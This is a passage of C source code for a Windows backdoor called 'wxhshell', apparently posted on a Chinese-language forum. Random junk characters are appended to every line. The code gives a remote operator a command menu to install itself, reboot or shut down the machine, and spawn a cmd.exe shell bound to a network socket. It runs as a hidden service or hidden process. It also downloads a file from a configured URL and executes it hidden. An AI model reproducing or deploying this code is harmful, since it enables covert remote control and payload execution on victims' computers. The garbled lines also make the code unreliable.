  else { NbgK# ;  
b* k=  
    switch(cmd[0]) { kZ7\zbN>  
  $;7,T~{  
  // 帮助 w=Ai?u  
  case '?': { 4efIw<1_  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); OH.^m6Z  
    break; }MQNzaXY^  
  } omz%:'m`~  
  // 安装 j3>0oe!  
  case 'i': { DQ%bcXs  
    if(Install()) [hzw..?g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `W>cA64 o  
    else )aSj!X'`;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .)=T1^[hI  
    break; jB) RvvMU5  
    } *nS}1(u]  
  // 卸载 i!0w? /g9  
  case 'r': { (zbV-4C  
    if(Uninstall()) BNi6I\wa  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7Z%EXDm4/c  
    else }_Y&kaM  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~5`p/.L)ZD  
    break; = VIU  
    } stGk*\>U'  
  // 显示 wxhshell 所在路径 ?R-4uG[(  
  case 'p': { Ac^hZ.qPz  
    char svExeFile[MAX_PATH]; N;Hoi8W  
    strcpy(svExeFile,"\n\r"); >A&D/k MO  
      strcat(svExeFile,ExeFile); @}9*rWJIE  
        send(wsh,svExeFile,strlen(svExeFile),0); S $j"'K  
    break; 0\tV@ 6p2=  
    } % !P^se  
  // 重启 rtM29~c>@  
  case 'b': { f2h`bO  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Ln-UN$2~F  
    if(Boot(REBOOT)) M2Q*#U>6r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z4ekBdmCL  
    else { (F=/r] Q  
    closesocket(wsh); A-"2sp*t  
    ExitThread(0); iA.:{^_)09  
    } OVq(ulwi+  
    break; 2/o_,k  
    } ^*?mb)  
  // 关机 QC\r|RXW  
  case 'd': { #su R[K*S  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Z$*m=]2  
    if(Boot(SHUTDOWN)) ,8.Fd|#L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 813t=A  
    else { Rtywi}VV2  
    closesocket(wsh);  N>V\  
    ExitThread(0); ,zF^^,lO7  
    } Cx~,wk;=  
    break; ZNfQM&<d  
    } y26?>.!  
  // 获取shell gn-@OmIs  
  case 's': { hl} iw_e  
    CmdShell(wsh); 1&Z#$iD  
    closesocket(wsh); ] 6Y6q])Z  
    ExitThread(0); x)+ q$FB  
    break;  " fXs!  
  } Pk ?M~{S  
  // 退出 4H9mKR  
  case 'x': { WRCf [5  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); a~*wZJ  
    CloseIt(wsh); .@KI,_X6,  
    break; 2I[(UMI$7  
    } z:1"d R   
  // 离开 R) ep1X^  
  case 'q': { 6Pp3*O`/V  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); \d)HwO  
    closesocket(wsh); R6cd;| fan  
    WSACleanup(); $G<!+^T  
    exit(1); } *:H\GL  
    break; ee2k..Tq#  
        } l=&\luNz  
  } ZrNBkfe :  
  } qV{iUtYt  
g:oB j6$ q  
  // 提示信息 `g}po%k  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @|2sF  
} '"m-kor  
  } f]4j7K!e]  
r}S>t~p:  
  return; j^5VmG  
} ]Uj7f4)k  
aG&t gD{  
// shell模块句柄 OC6v%@xa  
int CmdShell(SOCKET sock) uqHI/4  
{ 0<[g7BbR  
STARTUPINFO si; vJ?j#Ch  
ZeroMemory(&si,sizeof(si)); L#k`>Qn2  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; pqF!1  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Vi=u}(*  
PROCESS_INFORMATION ProcessInfo; B<{Yj}..  
char cmdline[]="cmd"; e;8nujdG"  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); d_1uv_P  
  return 0; 230ijq3Y G  
} i'YM9*yN  
6s.>5}M!  
// 自身启动模式 7`J= PG$A  
int StartFromService(void) !sVW0JSh  
{ 45 B |U  
typedef struct itmFZZh  
{ wiP )"g.t  
  DWORD ExitStatus; "'3QKeM1  
  DWORD PebBaseAddress; ' e:rL.  
  DWORD AffinityMask; QTIC5cl,  
  DWORD BasePriority; !d Z:Ih.[{  
  ULONG UniqueProcessId; [R0E4A?M  
  ULONG InheritedFromUniqueProcessId; <4:%M  
}   PROCESS_BASIC_INFORMATION; q[TGEgG  
D KRF#*[=d  
PROCNTQSIP NtQueryInformationProcess; (zml704dI)  
TCI)L}L|  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 4N(iow4  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Dqg01_O9O  
TcpaZ 'x  
  HANDLE             hProcess; G`r/ tesW  
  PROCESS_BASIC_INFORMATION pbi; ?_`X8Ok  
duV\Kt/g^  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 4?33t] "  
  if(NULL == hInst ) return 0; HSj=g}r  
Gp0yRT.  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); cT|aQM@iW  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :>-&  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7-Mm+4O9  
}B`T%(11=  
  if (!NtQueryInformationProcess) return 0; !B/5@P  
MLvd6tIv,  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 24I\smO  
  if(!hProcess) return 0; +>QD4z#  
)}to7r7 `  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9P& \2/ {  
, lFhLj7  
  CloseHandle(hProcess); 4 3G2{  
=X3Rk)2r  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |"+UCAU  
if(hProcess==NULL) return 0; CwaW>(`v  
z9 $1jC  
HMODULE hMod; G2yQHTbl  
char procName[255]; H~; s$!lG  
unsigned long cbNeeded; (R]b'3,E$  
n{"e8vQx  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); u>*d^[zS  
%9OVw #P  
  CloseHandle(hProcess); HX#$ ^@Q(  
,CIsZ1[VS  
if(strstr(procName,"services")) return 1; // 以服务启动 KkZS6rD\  
v[]&yD  
  return 0; // 注册表启动 -5y=K40  
} E`b<^l`  
Ey&gZ$|&  
// 主模块 oAF#bj_f  
int StartWxhshell(LPSTR lpCmdLine) 3vj 1FbY  
{ _F`RwBOjs  
  SOCKET wsl; X\1.,]O >  
BOOL val=TRUE; 8X# \T/U  
  int port=0; Q#PkfjXS  
  struct sockaddr_in door; lnnT_[ni.  
IoCi(N;  
  if(wscfg.ws_autoins) Install(); | $D`*  
7g.3)1  
port=atoi(lpCmdLine); RA*W Ys&xb  
9+!"[  
if(port<=0) port=wscfg.ws_port; u}|+p+  
{-l:F2i  
  WSADATA data; 3M"eAK([  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Q tl!f  
'RpX&g  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   y eWB.M~X  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));  zt2#6v  
  door.sin_family = AF_INET; H{g&yo  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); qa,i:T(w  
  door.sin_port = htons(port); #@:GLmD%  
6Ao{Aej|  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (%)<jg1  
closesocket(wsl); <P_B|Y4N/  
return 1; f,VJfY?#  
} c^7QiTt_  
z4rg.ai  
  if(listen(wsl,2) == INVALID_SOCKET) { <|;)iT1VeT  
closesocket(wsl); MX s]3M  
return 1; Qsg([K  
} wZb7 7  
  Wxhshell(wsl); Qq<+QL|  
  WSACleanup(); Eb89B%L62G  
HME`7dw?  
return 0; )KKmV6>b  
B`?5G\7L  
} v4VP7h6uD)  
Fjw+D1q.  
// 以NT服务方式启动 Y(R .e7]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )  K2D, *w  
{ =6xxZy[  
DWORD   status = 0; wY*tq{7  
  DWORD   specificError = 0xfffffff; aK]H(F2#  
"p"~fN /I9  
  serviceStatus.dwServiceType     = SERVICE_WIN32;  lx&;?QQ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; \s_`ZEB  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; G$E+qk nJL  
  serviceStatus.dwWin32ExitCode     = 0; }5=tUfh)]'  
  serviceStatus.dwServiceSpecificExitCode = 0; gUrXaD#  
  serviceStatus.dwCheckPoint       = 0; a[7 Lqu  
  serviceStatus.dwWaitHint       = 0; lO=~&_  
WoWmmZ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); &5Huv?^a'  
  if (hServiceStatusHandle==0) return; t{Z:N']H  
/EV _Y|(-  
status = GetLastError(); O_^;wey0}?  
  if (status!=NO_ERROR) frUO+  
{ wg=-&-  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; b|nh4g  
    serviceStatus.dwCheckPoint       = 0; Mcqym8,q|3  
    serviceStatus.dwWaitHint       = 0; :NXM.@jJ="  
    serviceStatus.dwWin32ExitCode     = status; ,_I#+XiXY  
    serviceStatus.dwServiceSpecificExitCode = specificError; i7foZ\btFc  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2Z7r ZjXW  
    return; T*qSk!  
  } 66|$X,  
C]NL9Gq`  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; |WsB0R  
  serviceStatus.dwCheckPoint       = 0; tQ Ia6c4|  
  serviceStatus.dwWaitHint       = 0; yc.9CTxx  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 18o5Gs;yx  
} NH;.!x q:  
:7)lgiM2  
// 处理NT服务事件,比如:启动、停止 V2IurDE  
VOID WINAPI NTServiceHandler(DWORD fdwControl) p>= b|Qy|  
{ -HUlB|Q8r  
switch(fdwControl) zA*I=3E(  
{ 3oMhsQz~z  
case SERVICE_CONTROL_STOP: dr]Pns9  
  serviceStatus.dwWin32ExitCode = 0; hYSf;cG}A  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Qb?e A  
  serviceStatus.dwCheckPoint   = 0; st wxF?\NS  
  serviceStatus.dwWaitHint     = 0; [6f(3|"  
  { {R}Kt;L:Ut  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); E[2xo/H  
  } l G $s(  
  return; #SqU>R  
case SERVICE_CONTROL_PAUSE: 1[4 0\sM  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; PEPf=sm  
  break; v-!^a_3Ui  
case SERVICE_CONTROL_CONTINUE: Og<nnq  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; A_2oQ*  
  break; Q[MWzsx  
case SERVICE_CONTROL_INTERROGATE: h9I vuv'  
  break; v 6KRE3:V  
}; L<0eIw  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .?)gn]#  
} 6 B*,Mu4A  
v&Oc,W  
// 标准应用程序主函数 2dnyIgi  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) wOF";0EN  
{ rLp (}^  
F-PQ`@ZNW  
// 获取操作系统版本 -;j ' =?  
OsIsNt=GetOsVer(); 69$gPY'3  
GetModuleFileName(NULL,ExeFile,MAX_PATH); y8$I=  
cA{7*=G?  
  // 从命令行安装 J1"16Uu  
  if(strpbrk(lpCmdLine,"iI")) Install(); wAF<_NG#  
XxLauJP K  
  // 下载执行文件 Y|~+bKa  
if(wscfg.ws_downexe) { D"8?4+  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) CZw]@2/JuQ  
  WinExec(wscfg.ws_filenam,SW_HIDE); `XrF ,  
} :EV*8{:aLU  
.dKFQH iYJ  
if(!OsIsNt) { fzjAP7 y  
// 如果时win9x,隐藏进程并且设置为注册表启动 9z kRwrQ  
HideProc(); !dGSZ|YZ  
StartWxhshell(lpCmdLine); f7?IXDQ>!  
} D2]i*gs  
else dZ `c  
  if(StartFromService()) _p;=]#+c&  
  // 以服务方式启动 E~`l/ W  
  StartServiceCtrlDispatcher(DispatchTable); ,dXJCX8so  
else q}cm"lO$  
  // 普通方式启动 )<[)7`  
  StartWxhshell(lpCmdLine); [^0 S#,L  
K(}g!iT)~  
return 0; )6*)u/x:  
}
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只看该作者 1 发表于: 2006-10-10
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